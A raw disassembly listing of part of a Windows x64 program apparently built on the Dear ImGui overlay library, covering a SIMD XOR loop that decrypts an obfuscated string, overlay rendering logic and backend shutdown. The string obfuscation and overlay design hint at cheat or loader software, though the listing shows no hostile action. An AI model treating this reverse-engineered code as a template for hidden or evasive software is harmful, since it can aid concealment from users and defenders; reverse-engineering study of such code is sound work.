jne 0x140063c60
mov eax, dword [rax + 0x1ac]
neg eax
sbb ecx, ecx
add ecx, 6
call fcn.140036920
mov eax, dword [0x140173e10]
mov r8d, r13d
mov dword [rbp + 0x288], eax
movzx eax, word [0x140173e14]
mov word [rbp + 0x28c], ax
movzx eax, byte [0x140173e16]
mov byte [rbp + 0x28e], al
movups xmm0, xmmword [0x140173e00]
movups xmmword [rbp + 0x278], xmm0
cmp r15d, 2
jl 0x140063def
movdqa xmm0, xmmword [str.8888888888888888]
lea rcx, [rbp + 0x27c]
movdqa xmm5, xmmword [0x1401742f0]
movdqa xmm4, xmmword [0x1401744f0]
movdqa xmm6, xmmword [0x140174320]
movdqa xmmword [rsp + 0x60], xmm0
mov edx, dword [rsp + 0x60]
nop dword [rax]
nop word [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add r8d, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x140174370]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 0xc], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140174370]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp r8d, 0x10
jl 0x140063ce0
cmp r8d, 0x17
jge 0x140063e34
movsxd rax, r8d
lea r9, [rbp + 0x278]
add r9, rax
nop dword [rax]
mov eax, 0xa0a0a0a1
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x38
xor byte [r9 - 1], al
cmp r8d, 0x17
jl 0x140063e00
mov r8d, 0x30020
lea rdx, [0x14018d108]
lea rcx, [rbp + 0x278]
call fcn.14003e9c0
call fcn.14000c5a0
call fcn.140016b30
mov rcx, qword [0x1401ba210]
test rcx, rcx
jne 0x140063e84
mov r8d, 0xfe8
lea rdx, str.C:UserswaaxsPicturesApp_PlayerProjectgrifo_fixedimgui.cpp
lea rcx, str.GImGui___0___No_current_context._Did_you_call_ImGui::CreateContext___and_ImGui::SetCurrentContext_____
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rcx, qword [0x1401ba210]
cmp byte [0x1401ba28c], r13b
movss xmm1, dword [rcx + 0x18]
movss xmm6, dword [0x1401740e8]
mulss xmm1, xmm6
je 0x140063ea8
movss xmm0, dword [0x1401741cc]
jmp 0x140063eac
movaps xmm0, xmm10
movss xmm2, dword [0x1401db7ec]
subss xmm0, xmm2
mulss xmm0, xmm1
addss xmm2, xmm0
movss xmm0, dword [0x14018d120]
comiss xmm2, xmm11
movss dword [0x1401db7ec], xmm2
subss xmm0, xmm2
mov rax, qword [rcx + 0x3ee0]
mov byte [rax + 0xb0], 1
mov rax, qword [rcx + 0x3ee0]
movss xmm1, dword [rax + 0x18]
subss xmm1, dword [rax + 0x7c]
addss xmm1, xmm0
movss xmm0, dword [rax + 0x1c]
subss xmm0, dword [rax + 0x80]
movss dword [rax + 0xf8], xmm1
addss xmm0, xmm13
movss dword [rax + 0xfc], xmm0
mov byte [rax + 0x139], 1
jbe 0x140063f4d
mov rdx, qword [0x1401b7df0]
lea r8, [rbp + 0x3e8]
mov dword [rbp + 0x3e8], 0x437a0000
mov dword [rbp + 0x3ec], 0x42700000
call fcn.140032fa0
movss xmm0, dword [0x1401db7ec]
comiss xmm0, dword [0x1401741c8]
jbe 0x140063fc3
mov rax, qword [0x1401ba210]
test rax, rax
jne 0x140063f8b
mov r8d, 0xfe8
lea rdx, str.C:UserswaaxsPicturesApp_PlayerProjectgrifo_fixedimgui.cpp
lea rcx, str.GImGui___0___No_current_context._Did_you_call_ImGui::CreateContext___and_ImGui::SetCurrentContext_____
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rax, qword [0x1401ba210]
movss xmm0, dword [rax + 0x18]
movss xmm1, dword [0x1401db4ac]
mulss xmm0, dword [0x1401740c0]
addss xmm1, xmm0
comiss xmm1, dword [0x1401740b0]
movss dword [0x1401db4ac], xmm1
jbe 0x140063fc3
mov byte [0x1401ba28c], r13b
mov dword [0x1401db4ac], r13d
mov ecx, esi
call fcn.140004ae0
mov rdx, qword [rbp + 0x2d0]
cmp rdx, 0xf
jbe 0x14006400b
mov rcx, qword [rbp + 0x2b8]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140064006
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400643e9
call fcn.140133024
mov rdx, qword [rbp + 0x768]
mov qword [rbp + 0x2c8], r13
mov qword [rbp + 0x2d0], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x2b8], r13b
cmp rdx, 0xf
jbe 0x140064065
mov rcx, qword [rbp + 0x750]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140064060
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400643e9
call fcn.140133024
mov qword [rbp + 0x760], r13
mov qword [rbp + 0x768], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x750], r13b
jmp 0x14006408d
movss xmm6, dword [0x1401740e8]
mov esi, 1
call fcn.140011d50
call fcn.14000b3f0
mov rcx, qword [0x1401efdb8]
lea r8, [0x1401dfa38]
xorps xmm0, xmm0
xor r9d, r9d
movups xmmword [rbp + 0xdc0], xmm0
mov edx, esi
mov rax, qword [rcx]
call qword [rax + 0x108]
mov rcx, qword [0x1401efdb8]
lea r8, [rbp + 0xdc0]
mov rdx, qword [0x1401dfa38]
mov rax, qword [rcx]
call qword [rax + 0x190]
mov rbx, qword [0x1401ba210]
cmp dword [rbx + 0x48b0], r13d
jg 0x140064105
mov r8d, 0x704
lea rdx, str.C:UserswaaxsPicturesApp_PlayerProjectgrifo_fixedimgui.h
lea rcx, str.i___0__i___Size
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rax, qword [rbx + 0x48b8]
mov rcx, qword [rax]
mov rax, r13
add rcx, 0x48
cmp byte [rcx], r13b
cmovne rax, rcx
mov rcx, rax
call fcn.140043f10
mov rcx, qword [0x1401efca8]
xor r8d, r8d
mov edx, esi
mov rax, qword [rcx]
call qword [rax + 0x40]
jmp 0x1400597cb
mov rbx, qword [0x1401ba210]
test rbx, rbx
je 0x140064156
mov rdi, qword [rbx + 0xa0]
test rdi, rdi
jne 0x14006417a
jmp 0x140064159
mov rdi, r13
mov r8d, 0x241
lea rdx, str.C:UserswaaxsPicturesApp_PlayerProjectgrifo_fixed_backendsimgui_impl_dx11.cpp
lea rcx, str.bd___nullptr___No_renderer_backend_to_shutdown__or_already_shutdown__
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rbx, qword [0x1401ba210]
test rbx, rbx
jne 0x1400641a0
mov r8d, 0xfe8
lea rdx, str.C:UserswaaxsPicturesApp_PlayerProjectgrifo_fixedimgui.cpp
lea rcx, str.GImGui___0___No_current_context._Did_you_call_ImGui::CreateContext___and_ImGui::SetCurrentContext_____
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rbx, qword [0x1401ba210]
call fcn.140044ea0
mov rcx, qword [rdi + 0x10]
test rcx, rcx
je 0x1400641b4
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_recv]
mov rcx, qword [rdi]
test rcx, rcx
je 0x1400641c2
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_recv]
mov rcx, qword [rdi + 8]
test rcx, rcx
je 0x1400641d1
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_recv]
mov qword [rbx + 0x90], r13
mov qword [rbx + 0xa0], r13
mov rax, qword [0x1401ba210]
test rax, rax
je 0x1400641f1
dec dword [rax + 0xf4]
mov rdx, qword [0x1401ba200]
mov rcx, rdi
call sub.api_ms_win_crt_heap_l1_1_0.dll_free
mov rbx, qword [0x1401ba210]
test rbx, rbx
je 0x14006421a
mov rdi, qword [rbx + 0x98]
test rdi, rdi
jne 0x14006423e
jmp 0x14006421d
mov rdi, r13
mov r8d, 0xa7
lea rdx, str.C:UserswaaxsPicturesApp_PlayerProjectgrifo_fixed_backendsimgui_impl_win32.cpp
lea rcx, str.bd___nullptr___No_platform_backend_to_shutdown__or_already_shutdown__
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rbx, qword [0x1401ba210]
test rbx, rbx
jne 0x140064264
mov r8d, 0xfe8
lea rdx, str.C:UserswaaxsPicturesApp_PlayerProjectgrifo_fixedimgui.cpp
lea rcx, str.GImGui___0___No_current_context._Did_you_call_ImGui::CreateContext___and_ImGui::SetCurrentContext_____
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rbx, qword [0x1401ba210]
mov rcx, qword [rdi + 0x30]
test rcx, rcx
je 0x140064273
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
mov qword [rbx + 0x88], r13
mov qword [rbx + 0x98], r13
mov rax, qword [0x1401ba210]
test rax, rax
je 0x140064293
dec dword [rax + 0xf4]
mov rdx, qword [0x1401ba200]
mov rcx, rdi
call sub.api_ms_win_crt_heap_l1_1_0.dll_free
mov rbx, qword [0x1401ba210]
mov qword [0x1401ba210], rbx
call fcn.1400068a0
mov qword [0x1401ba210], r13
test rbx, rbx
je 0x1400642ea
mov rcx, rbx
call fcn.140020550
mov rax, qword [0x1401ba210]
test rax, rax
je 0x1400642db
dec dword [rax + 0xf4]
mov rdx, qword [0x1401ba200]
mov rcx, rbx
call sub.api_ms_win_crt_heap_l1_1_0.dll_free
call fcn.140064420
mov rcx, qword [0x1401ba250]
call qword [sym.imp.USER32.dll_DestroyWindow]
mov rdx, qword [rbp + 0x968]
mov rcx, qword [rbp + 0x990]
call qword [sym.imp.USER32.dll_UnregisterClassW]
xor eax, eax
movaps xmm8, xmmword [rsp + 0x1560]
movaps xmm13, xmmword [rsp + 0x1510]
movaps xmm12, xmmword [rsp + 0x1520]
movaps xmm11, xmmword [rsp + 0x1530]
movaps xmm10, xmmword [rsp + 0x1540]
movaps xmm9, xmmword [rsp + 0x1550]
movaps xmm14, xmmword [rsp + 0x1500]
mov r12, qword [rsp + 0x15c0]
movaps xmm15, xmmword [rsp + 0x14f0]
lea r11, [rsp + 0x1590]
mov rbx, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm7, xmmword [r11 - 0x20]
mov rsp, r11
pop r15
pop r14
pop r13
pop rdi
pop rbp
ret
lea rcx, [rbp + 0x1a8]
call fcn.140042910
lea rcx, [rbp + 0x218]
jmp 0x1400643c5
lea rcx, [rbp + 0x238]
call fcn.140042910
lea rcx, [rbp + 0x258]
jmp 0x1400643c5
lea rcx, [rbp + 0x4a8]
call fcn.140042910
lea rcx, [rbp + 0xd20]
call fcn.140042910
lea rcx, [rbp + 0x2b8]
call fcn.140042910
lea rcx, [rbp + 0x750]
call fcn.140042910
mov eax, esi
jmp 0x140064312
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov ecx, 6
mov dword [0x1401bb33c], 0x7ffffffe
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3
mov ecx, 5
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3